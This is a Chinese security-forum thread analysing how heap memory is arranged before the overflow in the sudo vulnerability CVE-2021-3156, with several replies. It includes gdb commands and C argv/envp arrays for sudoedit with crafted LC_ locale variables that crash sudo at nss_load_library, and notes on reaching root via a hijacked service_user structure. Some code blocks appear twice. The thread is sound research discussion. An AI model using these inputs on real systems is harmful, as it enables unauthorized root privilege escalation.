首页
社区
课程
招聘
[讨论] CVE-2021-3156 SUDO漏洞--溢出前的堆布局
发表于: 2021-2-7 21:52 9818

[讨论] CVE-2021-3156 SUDO漏洞--溢出前的堆布局

2021-2-7 21:52
9818

发现有漏洞的PoC放出来后就想试试,但是在我自己的ubuntu 20.04.1的环境里blasty、locked的脚本都执行不成功,于是开始自己根据qualys分享的txt来尝试构造poc。
一番折腾后复现成功,也发现了大佬们代码在我环境中执行不成功的原因。感觉这个洞想要写出通用的exp还是得花些功夫的。 特此记录下分析过程,也想和各位师傅共同探讨可行的构造方式。

漏洞的具体分析网上很多了,因此不多赘述,仅总结几点结论:

多啰嗦一句,看到有些曝光的PoC中argv每个参数结尾都有反斜杠,这样会发生“循环溢出”,即argv中的内容也写入溢出后的内存中,且env的内容会写入多次。例如env -i aaaa\ bbb sudoedit -s 123\ 456\, 则实际写入内存中的数据为123.456.aaaa.bbb.456.aaaa.bbb

由于sudo有setuid且属于root用户,于是只要能劫持sudo的控制流那就是以root权限在运行代码,包括新启一个shell。因此大思路很明确:通过一次堆溢出绕过所有防御并执行代码。

qualys给出了三种利用方式,其中第二种(struct service_user overwrite)相对比较稳定,无需爆破,下面主要分析通过此种方法进行利用时的堆布局。
我在我的小破笔记本上参照lockedbyte的fuzz脚本进行测试,一共运行了三天,仅在第一天触发了nss_load_library的崩溃,qualys提到的另两种崩溃都没有发生。其实fuzz脚本是有一些优化空间的,因为有一个能用的样本所以也就懒得改了。

fuzz出的构造如下

根据前面的漏洞分析,将样本改造为如下结构便于控制和分析

利用原理qualys的分析文章说的比较清楚了,大致总结就是覆盖service_user结构体中的library成员为NULL,nameX/X,则会加载libnss_X/X.so.2并执行_init()构造函数。崩溃发生是因为library被覆盖为了非空。
接下来重点看一下崩溃发生前的布局时如何形成的。
先看下两个相关的结构体,service_user(后面简称user)和name_database_entry(下文简称entry),定义如下

在溢出发生前,__nss_database_lookup2()函数会读取/etc/nsswitch.conf中的内容并构造相关对象。不贴代码了,跟着调试几遍就能看出来,这里直接给出结论。以我本地环境为例,文件中内容如下:

进入__nss_database_lookup2()前的空闲链表情况如下

接下来函数会进行如下堆分配:

...
A1: 文件读取完后会free第三步中0x80的chunk去tcache。
A2: 一些代码后,在set_cmnd中分配得到0x80的chunk并溢出。
A3: 当调用nss_load_library且参数为我们溢出覆盖的那个user结构体时,劫持完成。
按照利用思路修改envp如下,完成利用。

我是通过sudo gdb启动程序进行调试分析的,也的确利用成功了。但当我切换为普通用户去尝试时,发现利用失败了·· 但是使用sudo运行利用程序,成功了!!要sudo运行还是个什么提权利用??
好一番折腾后,发现是因为在完成上述A1步骤后A2步骤前,程序会进入sudo.c中get_user_groups函数,并执行如下代码(MAX_UID_T_LEN =10)

好巧不巧,我本地user的属于9个组,于是预留的0x80的chunk就被分配给了gid_list··
新建了个用户,利用成功。

回过头来看,初次进入__nss_database_lookup2时的空闲链表状态是完成利用的关键,要求使得溢出chunk和user结构体chunk距离不远且中间的数据被覆盖也不会影响程序执行(最理想的是紧邻或均为freed chunk)。
根据qualys给出的提示,在程序最除运行时,会调用setlocale();而setlocale会分配并释放一些LC环境变量,因此可以在堆靠前的位置制造一些freed chunk, 例如使用LC_ALL可以构造一个其长度大小的bin出来。我一直没有找到稳定的构造方式,当然在整个过程中涉及许多堆的操作,在不同环境也可能会遇到其他问题。希望能和各位师傅一起交流研究。

 
 
file /usr/bin/sudoedit
set env LC_TELEPHONE C.UTF-8@Aa3QLwXb3PJLmiDQinnGV9WSiGrxWfRd04R1I2kOLtQyEvuehEJTM7yffnSZwxBdlOaevjyiYbA0wUMP7oPZ
set env LC_NUMERIC C.UTF-8@AwuefJrxO4MZdmyVPaVPYnPNVkMkkTZSKDmPTTYlKbE
set env AgvAS AKz0\
set env A AkzE\
set env A1mPq An\
 
set pagination off
--s 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\' 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
i r
x/i $pc
q
file /usr/bin/sudoedit
set env LC_TELEPHONE C.UTF-8@Aa3QLwXb3PJLmiDQinnGV9WSiGrxWfRd04R1I2kOLtQyEvuehEJTM7yffnSZwxBdlOaevjyiYbA0wUMP7oPZ
set env LC_NUMERIC C.UTF-8@AwuefJrxO4MZdmyVPaVPYnPNVkMkkTZSKDmPTTYlKbE
set env AgvAS AKz0\
set env A AkzE\
set env A1mPq An\
 
set pagination off
--s 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\' 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
i r
x/i $pc
q
char *s_argv[]={
 "/usr/bin/sudoedit",
  "-s",
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
 "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\\",
 NULL
};
 
char *s_envp[]={
 "B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",
 "LC_TELEPHONE=C.UTF-8@Aa3QLwXb3PJLmiDQinnGV9WSiGrxWfRd04R1I2kOLtQyEvuehEJTM7yffnSZwxBdlOaevjyiYbA0wUMP7oPZ",
 "LC_NUMERIC=C.UTF-8@AwuefJrxO4MZdmyVPaVPYnPNVkMkkTZSKDmPTTYlKbE",
 NULL
};
char *s_argv[]={
 "/usr/bin/sudoedit",
  "-s",
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
 "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\\",
 NULL
};
 
char *s_envp[]={
 "B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",
 "LC_TELEPHONE=C.UTF-8@Aa3QLwXb3PJLmiDQinnGV9WSiGrxWfRd04R1I2kOLtQyEvuehEJTM7yffnSZwxBdlOaevjyiYbA0wUMP7oPZ",
 "LC_NUMERIC=C.UTF-8@AwuefJrxO4MZdmyVPaVPYnPNVkMkkTZSKDmPTTYlKbE",
 NULL
};
typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;
 
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object*/
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;
typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;
 
typedef struct service_user
{

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-2-7 21:55 被superyhl编辑 ,原因: 图挂了
收藏
免费 2
支持
分享
最新回复 (6)
雪    币: 7483
活跃值: (3913)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
总感觉这个洞子受影响版本没那么多,目前看到的所有exp只有ubuntu跟debian 10  。redhat,centos这俩好像并不影响
2021-2-8 00:25
0
雪    币: 379
活跃值: (1896)
能力值: ( LV8,RANK:140 )
在线值:
发帖
回帖
粉丝
3
就是使用 setlocale ,影响挺大的。
2021-2-8 09:13
0
雪    币: 4168
活跃值: (15932)
能力值: ( LV9,RANK:710 )
在线值:
发帖
回帖
粉丝
4
我之前写了个gdb脚本来fuzz,总的来说利用就难在怎么通过调整环境变量fuzz出nss_load那个位置的崩溃……感觉挺碰运气的…
2021-2-8 12:44
0
雪    币: 261
活跃值: (83)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
5
blasty、locked的脚本——可否给个链接?
2021-2-9 09:26
0
雪    币: 261
活跃值: (83)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6
ScUpax0s 我之前写了个gdb脚本来fuzz,总的来说利用就难在怎么通过调整环境变量fuzz出nss_load那个位置的崩溃……感觉挺碰运气的…
这个gdb脚本及文件可否分享一下?
2021-2-9 09:26
0
雪    币: 261
活跃值: (83)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
7
hacker一疒亻 blasty、locked的脚本——可否给个链接?
已找到
2021-2-9 10:32
0
游客
登录 | 注册 方可回帖
返回
//